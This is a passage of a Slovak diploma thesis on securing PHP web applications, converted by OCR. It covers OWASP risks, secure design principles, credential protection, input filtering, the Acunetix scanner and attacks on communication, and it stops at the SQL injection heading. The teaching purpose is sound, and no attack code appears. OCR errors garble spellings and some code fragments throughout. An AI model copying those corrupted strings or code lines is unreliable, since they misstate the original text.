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ABSTRAKT

Té&o praca sa zaoberd tvorbou dynamickych webovych stranok v jazyku PHP.
Hlavny doéraz kladie na bezpecnost’ aplikécie. Sicastou diplomovej préace je prakticka
ukéZka zabezpecenia aplikécie ako g testovanie zndmych bezpecnostnych rizik. Zaver
diplomovej préce obsahuje prehlad a porovnanie nadobudnutych informacii. V praci

popisujem viastné skisenosti z praxe.

Klicova dova: Internet, webova aplikacia, MySQL, PHP, HTML, webovy server, klient,
prehliada¢, bezpe¢nost’, zdrojovy kdd, sessions, cookies, formular, UML, diagram, névrh,

implementécia, vyvoj, objekt, trieda, uZivatel.

ABSTRACT

This thesis is focused on the creation of dynamic websites in PHP. It
emphasizes the security of an application. Part of the thesis is a practical example of
securing of the application. Conclusion of the the paper contains a summary and comparison
of the findings. This thesis describes both - my own experience and the

practice.

Keywords. internet, web application, MySQL, PHP, HTML, web server, client, browser,
security, source code, sessions, cookies, form, UML, diagram, design, implementation,

development, object, class, user.
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UvoD

Webaplikécie sii aplikécie spudtané v internetovom prehliadaci zo siete. Prehliadac
pini pri takomto type aplikacii funkciu tenkého klienta, ktory viak vacdinou nie je Uplne
tenky a vykonava ¢ast’ programovej logiky sam. Prehliadace s svoju popularitu ziskavaju
predovsetkym tym, Ze st v dneSngj dobe dostupné v podstate kdekol'vek abez finanénych

investicii pretoZe na pracu s webaplikéciou staci uz len pripojenie nainternet.

Miliény Tudi denne vyuZivaju internetové duzby, pri ktorych dochédza k vymene
stkromnych informécii. Ide napr. o posielanie emailov, elektronicky obchod, ¢i
internetbanking. Aplikécie, ktoré pracuju so sikromnymi datami musia zarucit’ vysoku
bezpetnost’ tychto dat.

Otézka bezpecnosti vo vsetkych jg aspektoch sa dostava na popredné miesto a
prechéddza prudkym vyvojom, ktory ma svoj odraz g v oblasti noriem, Standardov a
odporucani.

Medzi vedlce organizécie v tomto smere patri OWASP, SANS a CERT.
Bezpecnostné iniciativy konzorcia W3C s zamerané predovdetkym na XML podpisy a
aktivity spojené s protokolom HTTP/1.1 a elektronickym obchodovanim.

Pre svoju jednoduchost’ a flexibilitu pri budovani dynamickych webovych aplikécii,
sa programovaci jazyk PHP stal jednym z najpouzivangiSich nastrojov pre budovanie webu
stcasnosti. Jeho popularita stipa g kvéli schopnosti bezchybnej spoluprace s databazami
(Informix, MySQL, Postgres) a webovskym serverom Apache, ktoré patria tieZ medzi
vel'mi obl'ibené nastroje. Ked’Ze popularita PHP rastie, rastie g pocet PHP aplikacii, ¢im

samozrejme vzrasta g pocet ttokov natieto aplikacie.

Téo préca je zhrnutim poznatkov 0 moznostiach zabezpecenia webovych aplikacii
pred ngj¢asteiSimi Utokmi. Poskytuje prakticky navod, ako postupovat’ pri pisani webovych
aplikécii v jazyku PHP tak, aby boli tieto aplikécie bezpecné t.j. aby boli odolné voci
vietkym momentane znamym Utokom. Popisané informécie budd demon&trované

v prakticke ¢asti na konkrétnom priklade fakturacného systému.
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. TEORETICKA CAST
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1 ZAKLADNE POJMY

1.1 Webovy server

Webovy server je z pohl'adu hardvéru pocitag, ktory prijima http pozZiadavky od
klientov a vraciaim HTTP odpovede spolu s poZadovanymi datami ¢o si zvycajne samotné
webové stranky ako napriklad HTML dokumenty spolu sdasimi objektmi (rézne
multimédia, atd’.).

Z pohradu softvéru je to program, ktory poskytuje vySSie uvedenu funkcionalitu

smoznost'ou Sirokeg konfigurovatel'nosti a podporou roznych modulov.

1.2 Webovy prehliada¢

Prehliada¢ je softvérova aplikécia, ktora dizi na zobrazovanie webovych stranok
ZloZzenych ztextu, obrédzkov ainych médii. Komunikécia zvycajne prebieha v zmyde
posielania poziadaviek webovému servru, ktory na tieto poZiadavky odpoveda Tento na
poziadavky odpoveda webovymi strankami, ktoré s nédsledne zobrazené uzivatel'ovi v okne
prehliadaca. Prehliadace sl obvykle pouzivané na pristup k webstrankam na internete, ¢asty
jevsak pristup k webovym serverom v privatnych siet'ach.

1.3 Webova aplikacia

Webové aplikéacie su aplikéacie, ktoré st spristupnené uzivatel'om pomocou webového
prehliadaca cez pocitatovl diet’. NajrozSirengSi spdsob je spristupnenie aplikécii
prostrednictvom internetu ale g intranetu v ramci podnikovej siete. Popularita tychto
aplikécii prudko rastie pretoZze webovy prehliadac — klient sa nachadza na drvivej vacSine
pocitatov anovych mobilnych zariadeni. Hlavnou vyhodou je, Ze proces udrzby, vyvoja
aaplikovani zmien softwaru prebieha na serveri, a nie je zataZzeny inStalovanim updatov
alebo Uplnou reindtalaciou aplikécie u potencionalne velkého poctu klientov.

Znatnou nevyhodou vak je prenos informécii cez siet’. Tieto mdzu byt pri prenose
odchytené alebo pozmenené potencionalnym atoc¢nikom. TaktieZ nedostatky pri vyvoji
webovych prehliadatoch mézu obsahovat’ bezpecnostné chyby. Komunikéciu prehliadaca
a aplikacie zabezpetuje webovy server.



UTB ve Zliné, Fakulta aplikované informatiky, 2010 13

1.4 Architektura aplikécie

Architektura je podl'a [5] vSeobecné oznacenie uréujuce celkova Struktiru a zékladna
kondtrukciu casti alebo kompletného pocitacového systému. V' naSom pripade sa jedné o
spbdsob rozdelenia aplikécie, aplikacnych dét, procesov i déovych tokov do logickych
celkov, stanovenie &ruktury tychto komponentov, vzaomnych vztahov a interakcii medzi
nimi, ato na dostato¢ne vSeobecngj Urovni. Je zregimé, Ze sa k navrhu a volbe architektlry
musi pristupovat’ na samom zaciatku vyvoja akelkol'vek aplikécie, a to s velkou
opatrnostou a rozvahou. Akékol'vek jg nasedné zmeny su totiz vel'mi komplikované aebo

takmer nemozné.

Planning l

Deployment

Obr. 1. Zivotny cyklus aplikacie

V stvidosti s architektirou aplikécie sa ¢asto objavuju terminy "Model 1" a "Model
2". Pbvodne pochédzaju z prvych navrhov Specifikécie JSP. Z findinych verzii boli sice tieto
oznatenia odstranené, napriek tomu sa v praxi dodnes beZzne pouzivaju. Rozdiel medzi
tymito dvoma zakladnymi pristupmi, ktoré sa daju 'ahko zov3eobecnit’ na akykol'vek

programovaci jazyk ¢i platformu.
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Model 1 je podra [5] tak& architektira, kedy prehliadaé pristupuje k jednotlivym
strankam priamo, otvara je z URL, na ktorom sa skuto¢ne nachédzaji. Riadenie aplikécie
zalozené na Modelu 1 je decentraizované, pretoZe aktualna strénka uz definitivne urcuje
nasledovnu otvérana stranku. Kazda stranka samostatne spracovava svoje vstupy zaslane)
od klienta v parametroch GET alebo POST.

poZiadavka —=
+— stranka
pofiadavka —=
+— siranka

pofiadavka —e
«+— stranka

Obr. 2. Modd 1

Model 2 podra [5] zavadza tzv. Controller, ktory sa v procese spracovania dotazu
nachddza medzi prehliadacom a otvaranymi skriptami alebo strénkami. Controller
centralizuje logiku vyhodnocovanie zaslaného dotazu. Na zé&klade klientovho poZiadavky,
otvaraného URL, vstupnych parametrov i aktudlneho stavu programu realizuje prisusné
akcie a vybera dal§iu strénku, ktora sa v prehliada¢i zobrazi. Jednotny Controller tiez

poskytuje idedlne miesto pre implementaciu takych funkcii, ako je centralizované logovania

alebo riadenie pristupovych prév.

poZiadavka —
«— stranka

Obr. 3. Model 2
Tento model sa odporGca pouzivat’ u interaktivnych aplikacii. Jeho implementéaciu
vyrazne ulah¢uje pristup nazvany Model-View-Controller (MVC). MVC rozdel'uje
aplikéciu natri logické ¢asti: Model, View a Controller.
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1.5 UML

Unified Modeling Language alebo UML je v softvérovom inZinierstve unifikovany
modelovaci jazyk na vizualizéciu, Specifikéciu, navrhovanie a dokumentéciu programovych
systémov. UML nie je ucelend metodika definujlca potrebny proces tvorby IS, ale iba
mnoZina nastrojov, ktoré sa v tomto procese pouZivaju. AZ pri nasadeni vhodnej objektove)
metodiky, ktora definuje kedy, kym a ako jednotlivé néstroje pouzivat, mézeme vyuzit
UML na maximum. Z objektovych metodik vytvorenych priamo nad néstrojmi UML
mbzeme spomenit’ napriklad Unified Process, alebo Catalisys[3].

Venovat' ¢as jazyku UML je spohladu sicasnych poZiadaviek na vyvijany systém
vel'mi doleZzité. UML ndm ponlka ucelené néstroje na analyzu poZiadaviek zékaznika,

vd’aka ktorym ziskame okrem analyzy g prehl'adnu graficki dokumentéciu systému.

16 PHP

PHP (PHP: hypertext pre-processor) je podla [8] programovaci jazyk umoziujUci
proceduralne aobjektovo orientované programovanie dynamickych webovych stranok a
aplikécii. Zvycajne bezi ako modul na webovom servri, kde zo vstupného zdrojového kédu
vytvori webovl stranku ako vystup. Méze byt pouzité takmer na vSetkych webovych

servroch a operacnych systémoch.

1.7 MySQL

Je podra [11] otvoreny viacvldknovy, viac uZivatel'sky SQL relacny databézovy
server, ktory je distribuovany zdarma aje vhodny pre rézne vyuzitia. MySQL prilezitostne
¢elilo kritike, pretoZze mé nedostatky podpory pre niektoré zo zakladnych SQL &ruktdr,
ako sU vnorené dotazy a cudzie kI'd¢e. Nakoniec, v&ak MySQL naSiel Srokd uZivatel'sku
z&kladinu nadSencov pre jeho liberdne licencné podmienky, vykon a jednoduché pouZzitie
[2]. K jg prijatiu pomaha rad d’alSich technolégii, ako je PHP, Perl, Python, a podobne,
ktoré maju podporu jg vyuZitia vd’aka stabilnym, dobre zdokumentovanym modulov

arozsSireni.
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1.8 Framework

Framework je prostredie, v ktorom je organizovana a napisana d'alSa aplikécia v tom
istom programovacom jazyku a ma za Ulohu uSetrit’ programétorovi ¢as tak, aby sa pri
vyvoji venoval len Specifickym poZiadavkam pre aplikéciu, ktorl prave vyvija a ktor nejde
zovSeobecnit’.

Je to stbor kniznic a kédu usporiadanych tak, aby pokryvali ¢o najviac funkénych
poZiadaviek spoloc¢nych pre rozne aplikécie. Pri webovych aplikécidch to mbzu byt
napriklad validacia vstupov, pristup k databédze, cachovanie Udagjov, sprava uzivatel'skych
prév. V sicasnosti sa ¢asto vyuzivaju Mode View Controller (MVC).

Model —P» volanie metddy

- udalost'
- odpov "a'pliin Sy apikice
- - pri zmenach iniciuje akiualizaciu View
na Stav : ALEla
i Oznamenie stavu
-,:"? o zmene

vyber View

Obr. 4. Architektira MVVC

Architektira oddeluje déta aplikacie (model), spdsob zobrazenia (view) a spbsob
nakladania s modelom (controller). Tieto tri délezité ¢asti kazdej aplikécie si oddelené do

samostatnych kniznic tak, aby zmenav jednej neovplyvnila ostatné.

19 CSS

CSS — kaskédoveé styly — je &tylovaci jazyk pouzivany na uréenie vzhl'adu dokumentu
vytvorenom v znackovacom jazyku. To znamena, Ze dokument obsahuje len déta,

pricom v3etky informécie o tom, ako sa tieto data maju zobrazit’ (formétovanie, pozicie)



UTB ve Zliné, Fakulta aplikované informatiky, 2010 17

uréuju kaskadoveé styly. Takéto oddelenie da od ich vzh'adu zniZzuje komplexnost’” web

stranok.

1.10 Subjekt a objekt

Pojem subjekt znamena akykol'vek prvok v systéme, napriklad program, zariadenie
alebo osobu ktory chee vykonat” ur¢itll akciu nad objektom alebo s pouzitim objektu.
Objekt je funkciondlita, sluzba alebo déta reprezentujica prvok ku ktorému pristupuju

subjekty s réznym acelom.

1.11 Autentizacia

Autentizécia je proces, pri ktorom sa overuje identita subjektu, ktory sa snaZi
o0 pristup do zabezpeteného systému. NajbeZngsi priklad méZeme vidiet' v rednom Zivote
ked sa prihlasujeme do internetbankingu, pri nakupovani v elektronickych obchodoch,
pristupoch do informatnych portalov atd'.

V&etky tieto aplikécie by mali vediet’ rozlisit, kto je tento systém opravneny pouzivat
akto nie. Pristup zvycane kontroluje autentizatna procedira, ktora vytvara urcity stupen
dbvery objektu, teda pridelenie prav pre dand identifikéciu.

Zial, ziaden systém, pocita, pocitacovy program alebo pouzivatel nemoze na 100%
potvrdit’ identifikéciu druhej strany. Ostédva ndm jedina moZnost’, a to aplikovat’ nejaku sadu
testov ktoru pokladame za dostatocne vierohodnl a bezpecnu a na zéklade takejto kontroly

uznéme autenticitu subjektu [2].

1.12 Autorizacia

Autorizécia je proces rozhodovania o tom, ¢i ma subjekt opravnenie na pristup
k ur¢itému objektu. Autorizécia sa v&Sinou rieS na aplikatng vrstve. Vysdedok
rozhodnutia zévisi na vopred danych privilégidch daného prvku, ktoré sl ngjcastejSie
uloZené v nejakej databaze [1].

1.13 Vulner ability

Anglické slovo vulnerability je latinského pévodu, je odvodené od slov vulnus (rana,
zranenie, poranenie; poskodenie, trhlina, diera; Uraz,...), vulnero (ranit’, poranit’; ublizZit,

urazit). Pocas podednych niekolkych rokov, bol pocet vulnebralities - zranitelnosti
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objavenych v aplikéciach ovela v&si ako pocet zranitelnosti objavenych v operacnych

systémoch.

0OS Libraries

MNetwork

Obr. 5. Pocet zranite/nosti v sierach, OS a aplikaciach

V dédedku toho st pokusy o vyuZivanie zaznamenanych chyb na aplikacné programy
ngjviac "populérne" a maju tendenciu v priebehu ¢asu rast’.

Microsoft SQL, FTP, SSH a servery si oblUbené ciele pre Utoky zamerané na
prelomenie heda, pretoZe pristup ktory utokom ziska, moze byt’ ciel'ene vyuzity na SQL
Injection, Cross-site scripting apod. SU na to vyuZivané automatizované nastroje, ktoré
maju za ciel’ hfadanie zndmych zranitel’nosti webovych aplikécii. Takto je Gtocnik schopny
'ahko vyhradat’ a infikovat’ niekol’ko tisic webovych strénok v priebehu krétkeho ¢asu.

1.14 Metodika OWASP

Skupina OWASP (Open Web Application Security Project) sa zameriava ha pomoc
pri identifiké&cii bezpecnostnych hrozieb webovych aplikacii. Vydava Specifikéciu hrozieb a
spdsobov obrany proti nim, ktorej posledna verzia je z r. 2010. Specifikécia ma tvar
zoznamu desiatich bezpecnostnych nedostatkov, na ktoré sa viaze ngjviac Uspesnych Utokov

cez internet [6].

Tab. ¢.1. Top 10 bezpecnostnych rizik pod/a OWASP pre rok 2010*

A2 —Injection Flaws Al —Injection

Al —CrossSite Scripting (XSS) A2 —Cross Site Scripting (XSS)

A7 —-Broken Authentication and Session A3 -Broken Authentication and Session
Management Management

A4 —Insecure Direct Object Reference A4 —Insecure Direct Object References
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A5 —Cross Site Request Forgery (CSRF) A5 —Cross Site Request Forgery (CSRF)

<was T10 2004 A10 -Insecure Configuration A6 —Security Misconfiguration(NEW)
Management>

A10 —Failure to Restrict URL Access A7 —Failure to Restrict URL Access

<notin T10 2007> A8 —UnvalidatedRedirects and Forwards (NEW)
A8 —Insecure Cryptographic Storage A9 —Insecure Cryptographic Storage

A9 —InsecureCommunications A10 -Insufficient Transport Layer Protection
A3-Malicious File Execution <dropped fromT102010>

A6 —Information Leakage and Improper Error <droppedfrom T102010>

Handling

Skupina OWASP (Open Web Application Security Project) sa zameriava na pomoc
pri identifiké&cii bezpecnostnych hrozieb webovych aplikécii. Vydava Specifikéciu hrozieb a
spbsobov obrany proti nim, ktorej posledna verziaje z r. 2010.

Specifikacia ma tvar zoznamu desiatich bezpednostnych nedostatkov, na ktoré sa
viaze ngjviac Uspednych Gtokov cez internet. Prirucka OWASP Testing Guide® ktora bola
vydana uZ v tretgj verzii a spolupracovali na nej desiatky dobrovorl'nikov z réznych krajin
sveta ma takmer 350 strén. Téato prirucka déva moznost’ prakticky komukol'vek
nezasvatenemu vstUpit do sveta bezpetnosti webovych aplikécii a to skutocne velmi
jednoducho. Urcite by sa mala stat’ sprievodcom kazdého dobrého programétora, ktory
vd’aka jg naStudovani ziska vyborny prehl'ad o pripadnych bezpe¢nostnych chybéch, ktorym
sa mbZe aktivne vyvarovat. Taktiez mdze vd’aka priruc¢ke ziskat’ tie spravne bezpecnostné

névyky, ktoré mu uSetria hodiny préce pri odstranovani chyb [4].

! Owasp.org. Tabul/ka top 10 zranite/nych miest [onling]. c2007-2010 [cit. 2010-03-03]. Dostupny z WWW:
<http://www.owasp.org/index.php/Filee OWASP T10 - 2010 rcl.pdf>.

2 Dostupna z WWW: <http://www.owasp.org/index.php/Category: OWASP_Testing_Project#
OWASP _Testing_Guide v3>.
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2 ZASADY BEZPECNEHO NAVRHU WEBAPLIKACI

V rednom svete je v&Sna aplikacii urcenych na pouZitie zo strany uZivatel'ov.
Uzivatel' chce vykonat’” objednédvku zo skladu, vyzdvihnit' virtuainu pohl'adnicu, poslat’

mail, skontrolovat’ svoje e-maily alebo vykonat’ prevod penazi v on-line bankovnictve [7].

To pre programétora zvy¢ajne znamena, Ze pri navrhu webove aplikéacie musime hned’
na zaCiatku premyslat’ o bezpecnosti a je doleZité definovat’ pouZitie aplikacie a polozit’ s
z&kladné otazky:

Je webova aplikacia potrebna? Staticky obsah nestaci poziadavkam?
Akaje citlivost’ idajov, ktoré budi pouzité?

Aka skupina uzivatel'ov bude s aplikéciou pracovat'?

Musia byt’ uzivatelia identifikovatel'ny?

Maju rézne prava v aplikécii?

Aké st v&etky vstupy pre aplikaciu? Ako by mali byt’ rieSené?

S0 prendSané citlivé udaje? Mydlite, Ze je ich potrebné chranit’ po¢as prenosu?

Wariables Provided via HTTP GET
(e.d., the values are in the LRL)

other cookies

f

Variables Provided ta the

scripk wia HTTR session ar
150d d11H

El4 PAPIADIL S3|ORLEN,

Variables Provided via
HTTP post file uploads

YWariables Provided via the
environment(e, ., bash shel)
ayedy AQ paulap sajgeues,

Obr. 6. Zaklad ochrany PHP aplikacii,
Zdroj: http://sajjadhossain.com
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2.1 Zosuladit’ bezpeénost’ a obsluhu aplikacie

Pred samotnym navrhom bezpecnostnych opatreni aplikacie, treba zvé&zit, do ake)
miery je potrebné aplikéciu zabezpecit'. Ide hlavne o zvéznie Skody, ku ktoregj by doSlo pri
strate Udgjov z aplikéciam a zvolit” spdsob ochrany tak, aby cena ochrany neprevysila tito
&odu. Tvorca aplikécie by mal taktiez zabezpegit' aplikéciu prvkami, s ktorymi uz uzZivatel
priSiel do styku, ktoré pouZivatel’ pozna a naistych miestach g o¢akava. Na druht stranu by
sa ma vyhnit takym opatreniam, ktoré by opréavnenych pouZivatelov nadmerne

obmedzovali a zdrzovali.

2.2 Hibkova ochrana

Hibkova ochrana (Defense in Depth) je vo vSeobecnosti odporicanym rieSenim
zabezpetenia informacnych systémov. Na zaklade skdsenosti z histérie vyplynulo, Ze
nadbytocné zabezpecenie systémov mé vyznam. Defence in Depth, znamend v podstate mat
vzdy nejaky zdloZny mechanizmus na ochranu aplikécie v pripade, Ze hlavna ochrana zlyhé
Prikladom moze byt napriklad Ziadat’ od pouzivatela opakovani autentifikéciu pred
vykonanym doleZitej operécie, g ked’ nie sli zname Ziadne nedostatky v zabezpeceni avSak
pridanim kaZzdého bezpecnostného opatrenia narasta cena a klesd jednoduchost a
pohodinost’ ovladania aplikécie. Treba preto poriadne zvéZit' do ake mieri si informécie

uchovavané v aplik&cii doleZité a vybrat’ naich ochranu primerany spdsob zabezpecenia.

2.3 Whitelist

Whitelist je spbsob ochrany aplikécie, pri ktorom st v3etky data prichadzajuce do
aplikécie povaZzované za nesprévne, aZz do chvile, kym st overené v nejakom kontrolnom
procese a zozname dé. Zoznam mbZe tvorit’ | P adresa, typ stboru, typ obrazku atd’. Tento
pristup je najvhodngSi a najlepSie pomaha predchadzat’ pouZivaniu chybnych dét v

aplikéciach, ¢im st eliminované mnohé Gtoky na webové aplikacie.

2.4 Minimalne préava
Tento princip sivisi s pravami, ktoré mé pouzivatel' aplikécie k dispozicii. Je
samozrejmé, Ze tvorca aplikacie nemusi premy3at’ nad v3etkymi moznymi atokmi, ktorym

treba vzdorovat’. Prakticky ani nie je mozné, aby predvidal Utoky vSetkych potencidnych
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atocnikov. Staci preto pouzivatel'om pridel’ovat” minimane prava. ZnizZi satak riziko atoku

a zvys bezpecnost’ aplikécie.

2.5 Odhalenie a ochrana citlivych dat

Pri tvorbe aplikécie je potrebné mat’ na paméti, Ze adresarova &ruktira ako g
pomenovanie stborov, nazvov tabuliek i stipcov vyznamnou mierou prispieva k ochrane
aplikécie amoznému odhaleniu citlivych dét, ¢o mdze viest k vaZznym bezpecnostnym
zranitel'nostiam. Preto je podl'a [2] dobré takéto odhalenia eliminovat’ pri tvorbe aplikécii
dostupnymi prostriedkami napr. pouzitim SSL.

2.5.1 Ochrana zdrojovych kédov

Nebezpecenstvo odhalenia zdrojovych kddov v aplikécii je spojené predovdetkym so
stbormi typu include. Tieto subory, ktoré st vkladané do aplikacie prikazom include() alebo
require(). Include stbory by mali byt vzdy umiestnené mimo koreiového adreséra, ¢o
znizuje riziko ich zneuZitia. Stbory typu include by mali pouzivat’ priponu .inc.php pretoze
pri nesprdvnom nastaveni PHP servera by mohlo prist k zobrazeniu zdrojového kodu
stiborov s koncovkou .inc [5]. Spojenim koncoviek sa potl&aju nevyhody .inc. Koncovka

.php d0Zi iba na spustenie stboru, ¢o je meng nebezpedné ako odhalenie obsahu.

2.5.2 Ochrana premennych pri préci s databazou

Ak aplikécia spolupracuje sdatabazou, vyZzaduje tym g pripgjanie na databézovy
server a n&itavanie pristupovych dét pri autentifikécii. Odhalenie tychto citlivych dét pre
pristup do databézy by malo pre aplikéciu z hr'adiska bezpecnosti vel'mi vézne nésledky.
Spbsob ochrany je nasledujdci:

AN v

Vytvorit’ stbor, napr. /cesta/do/tajneho-obsahu, ktory moze ¢itat iba root a zapisat’ do neho
pristupoveé premenné:

Set Env DB_USER "nyuser"
Set Env DB_PASS "nypass”

Ked méme tento subor vytvoreny, je potrebné ho pripojit’ konfiguratnom v sibore PHP

servra httpd.conf:

I ncl ude "/ cestal do/taj neho- obsahu"
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Tymto sa mdZe namiesto uchovavania dé v zdrojovom kode pouZit’ na pristup k
pristupovym détam globane pole $ SERVER. Je nevyhnutné byt opatrny, aby nemohlo
prist’ k odhaleniu tychto premennych napr. verejinym pristupom k vystupu funkcie phpinfo(),
alebo pomocou prikazu print_r($ SERVER).

2.6 Kontrola dat

Filtrovanie da je z&kladnym kameinom bezpe¢nosti webovych aplikacii. Zahina
mechanizmy, pomocou ktorych je aplikacia schopnd overit spravnost dat do nej
prichédzajucich a zabezpetit' g spravnost’ z ngj odchédzajucich dét. Efektivne filtrovanie
dat, ako bude spomenuté v d’aSich kapitolach, je ochranou pred mnohymi Utokmi na
webové aplikécie a preto je podla [2] potrebné pristlpit’ ku kontrole dat zodpovedne a

vytvorit” spol'ahlivy mechanizmus kontroly napriklad g s pouZitim frameworku.

2.6.1 Vstupnédata

V&etky déta ziskané od uZivatela by mali byt’ pred pouZitim skontrolované a
aplikécia musi byt pripravena ¢elit’ chybnym vstupnym déatam. Tieto mézu byt” spdsobené
nadhodnou chybou uZivatel'a, alebo zamernou chybou Gto¢nika, ktory sa snazi preniknit’ do
aplikécie. Filtrovanie vstupnych dét predstavuje proces, ktory zaruci, Ze data nim oznacené
ako sprévne, budu naozaj spravnymi.

Sposoby, ktorymi sa do aplikacie dostavaju data od uzivatela:

 webové formulare
» URL poziadavky v adrese

« cookies
e HTTP hlavicky

2.6.2 ldentifikacia vstupnych dat

Za vstupné déta treba povaZzovat’ vietky déta zo vzdialenych zdrojov. Ide teda o
data od klienta (PHP ich poskytuje v super globalnych poliach ako s $ GET a$ POST).
Pre v&Siu bezpecnost’ treba brat’ data zo session déatovych skladov a databéz taktiez ako
vstupne déta.
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2.6.3 Filtrovanie vstupnych dat

Najpouzivangi§im a najbezpecngiSim pristupom je kontrola dat zo vzdialenych
zdrojov. Ak déta nespinagjii podmienky kontroly, je potrebné ich povaZovat’ za chybné a
dag ich nespracovavat’. Taktiez déta ktoré si v procese filtrovania oznacené ako chybné
neopravovat’, ale vyradit’ z procesu spracovania. Pri filtrovani vstupnych dat je vhodné
vyuZivat’ pristup whitelist (pozri kap.2.3.). VyuZivat' v kontrolnych existujace PHP funkcie
pre filtrovanie vstupnych dét ako si htmlspecialchars(), strtr(), strib_tags(), utf8 decode().
Pri vytvarani vlastnych funkcii pre filtrovanie da je vhodné robit’ overovanie cez regularne

vyrazy pomocou funkcie preg_match().

2.6.3.1 Upload vysoko nebezpe¢ného typu siboru

Tento typ Gtoku umoZiuje Utocnikovi nahrat” alebo preniest’ stibory nebezpecnych
typov, ktoré mézu byt automaticky spracované v ramci aplikécie. Spustenie 'ubovolného
kédu je mozné ak je uploadovany stibor interpretovany a spusteny prijemcom ako kéd.
Toto plati hlavne pre PHP a ASP subory uploadované na webserver pretoze s timito typmi

stibormi sa ¢asto zaobchédza ako s automaticky spustitel’nymi.

2.6.3.2 Neobmedzeny upload

"Neobmedzeny upload” je termin ktory je pouZivany pri zranitelnosti v databazach a
inde, ale to nie je dostatocne presné. Tato veta by mohla byt vyloZzend ako nedostatok
obmedzeni na velkost' alebo pocet nahratych stborov, ktoré by mohli byt zdrojom

problémov.

2.6.3.3 RoZi%enie medz overenymi a chybnymi datami

Pre prehladnost’ v aplikécii je vhodné overené déta ukladat’ do premennych so
zvolenou menovou konvenciou, napr. do pola $clean, toto pole potom treba pred kazdym

pouzitim inicializovat’ na prazdne pole.

2.6.4 Ochranavstupnych dat

Aby vetky uvedené techniky kontroly dé& boli naozaj G¢inné, je treba zabranit’ ich

obideniu. MéZeme to urobit’ dvomi spdsobmi:
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1. Dispatch metdda - vytvorime jednoduchy PHP skript dosiahnutel’ny priamo z webu,
ako jediny je vergine pristupny av tomto skripte sa zabezpei filtrovanie dat, ostatné
skripty st podla potreby pripgjané pomocou include() arequire().

2. Include metéda - vytvorime jeden jednoduchy modul za vSetky bezpe¢nostné
opatrenia v sa zabezpedi filtrovanie dat, tento modul je obsiahnuty na zaciatku
(alebo vel'mi blizko zatiatku) v3etkych veregjnych PHP skriptov.

2.7 Testovanie webaplikacii

Nastroje urcené na bezpecnostny audit webovych stranok a ktoré vykonavau
automatizované Utoky zamerané na ngjc¢astgjSie zranitel'nosti internetovych aplikacii, st
vhodné nielen pre v&Se firmy prevadzkujlce portaly, de a pre jednotlivcov, ktori
potrebuju spoznat’ slabiny svojho webu a preventivne reagovat’ na odhalené hrozby. Medzi
najlepSie nastroje v tejto kategdrii mdzeme zaradit’ program ACUNETI X.

2.7.1 ACUNETIX

Acunetix je vykonna security aplikéacia ktora je zamerané na testovanie zabezpecenia
webaplikécii aje od zékladu navrhnuta tak, aby poskytovala najlepSiu kombinéciu
automatického aruc¢ného testovania zranitelnosti s pouzitim pokrocilych technik. Této

aplikéacia je vytvorena pre operacné systémy Microsoft a je mozné ju pre ziskat’ ako free

edition, trial alebo professional na adrese: http://www.acunetix.com.

Program sa po svojom spusteni ststred’uje na vyhl'adavanie mnohych beznych, ale g
kritickych zranite'nych oblasti webu. Detailne posudzuje slabé miesta vytvarajlce pristup k
pouZitiu hackerskych technik, ako napr. SQL Injection ¢i Cross Site Scripting (XSS).
Nastroj na detegovanie hrozieb vyuZiva Specidnu bezpecnostnl technologiu AcuSensor,
ktora pohotovo vyhlada zranitelné miesta a pouZivatela upozorni, v ktorom sibore a
konkrétng ¢adti ¢i riadku zdrojového kodu sa nachadzaju.

Program taktiez umozZiuje oblasti webu chranené hedom a svojim vlastnym
nastrojom Automatic HTML form filler preveruje odolnost’” webovych formuldrov proti
moZnosti ich zneuZitia automatizovanym vypiianim prihlasovacich Gdajov. Na obrézku ¢.1

mbZeme vidiet” zachytenl obrazovku programu s vysledkom kontroly.


http://www.acunetix.com
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Obr. 7. Okno programu Acunetix

Acunetix smuluje automatizované Gtoky a poskytuje reporty o vSetkych
zranitel'nych oblastiach a vykonava velké mnoZstvo testov. Okrem automatizovaného
skenovania pontka Acunetix g moznost’ podrobngiSieho manudlneho testovania, a to

pomocou manuénych nastrojov:

HTTP Editor - nastroj na vytvaranie HTTP/HTTPS requestov a analyzu odpovedi
webservra

HTTP Sniffer - nastroj na zaznamenavania a manipulaciu HTTP/HTTPS trafficu

HTTP Fuzzer - néstroj na testovanie buffer overflow a vaidaciu vstupov s tisickami

predpripravenych vstupnych parametrov
Blind SQL Injector - néstroj na hlabSu analyzu zranitel'nosti voci SQL injection

Web Vulnerability Editor - nastroj, krory pontka moznost’ vytvérat’ vlastné utoky,
pripadne modifikovat’ existujlce

2.8 Uspech spoéiva v jednoduchosti

Pri pisani aplikécii je potrebné mat’ na paméti, Ze zloZitost’ je zakladom pre vznik chyb
a chyby vo v&sine Ustia do bezpetnostnych zranitel'nosti aplikécii. Jednoduchost’ je jednou
zo z&kladnych charakteristik bezpe¢nych a prehl'adnych aplikacii.
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3 UTOKY

Téo kapitola sa zaobera analyzou, prikladmi a popisom ngj¢astejSich moznych
bezpecnostnych chyb arizik php aplikacii.

3.1 Utok na komunikaciu

Utok na komunikéciu podra [13] moze prebiehat na rdznych miestach medzi
klientom a serverom, preto je pri vzagjomne komunikécii medzi klientom a serverom pouZzit’
Gcinnd ochranou pred takymto Gtokom napriklad SSL. Medzi z&kladné typy Utokov patri

odpocuvanie, preruSenie komunikacie, podvrhnutie identity a modifikéacia spravy.

3.1.1 Odpocavanie

Medzi zakladné druhy ttokov na komunikéciu patri odpoc¢tvanie. Uto¢nik sa snazi
ziskat’ nepovoleny pristup k détam ale jeho snaha nie je len ziskat’ déta ale g samotné heslo,

ktorym sa uzivatel’ autorizuje na serveri a ktoré sa nezriedka posiela ako cisty text.

3.1.2 PreruSenie komunikacie
Tento Utok nastédva, ked sa Uto¢nikovi podari znemoZnit' dorucenie spravy.
Prikladom méze byt preruSenie komunikaéného spoja. PouZiva sa zv&Sa vtedy, ak chce

uto¢nik znemoznit’ komunikéciu so serverom.

3.1.3 Podvrhnutieidentity

Jednd sa o vytvorenie aUpravu spravy tak, aby bol adresat presvedceny o jg
pravosti. Aby bolo mozné vytvorit' takito spravu s faoSnou identitou aUspesne ju
podrhnit’, je potrebné dedovat’ jednu zo stran. Nevyhodou je zloZitost’ oproti modifikécii
existujuce spravy.

3.1.4 Moaodifikacia spravy

Pri tomto type Utoku sa snazi Uto¢nik spravu zachytit' a nasedne ju pozmenenu
ododat’ k cielu. Prijemcovi tak bude dorucend sprava, ktoru vytvorila a vydaa

autorizovana strana, ale v priebehu prenosu dodo k pozmeneniu je obsahu.
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3.2 SQL Injection

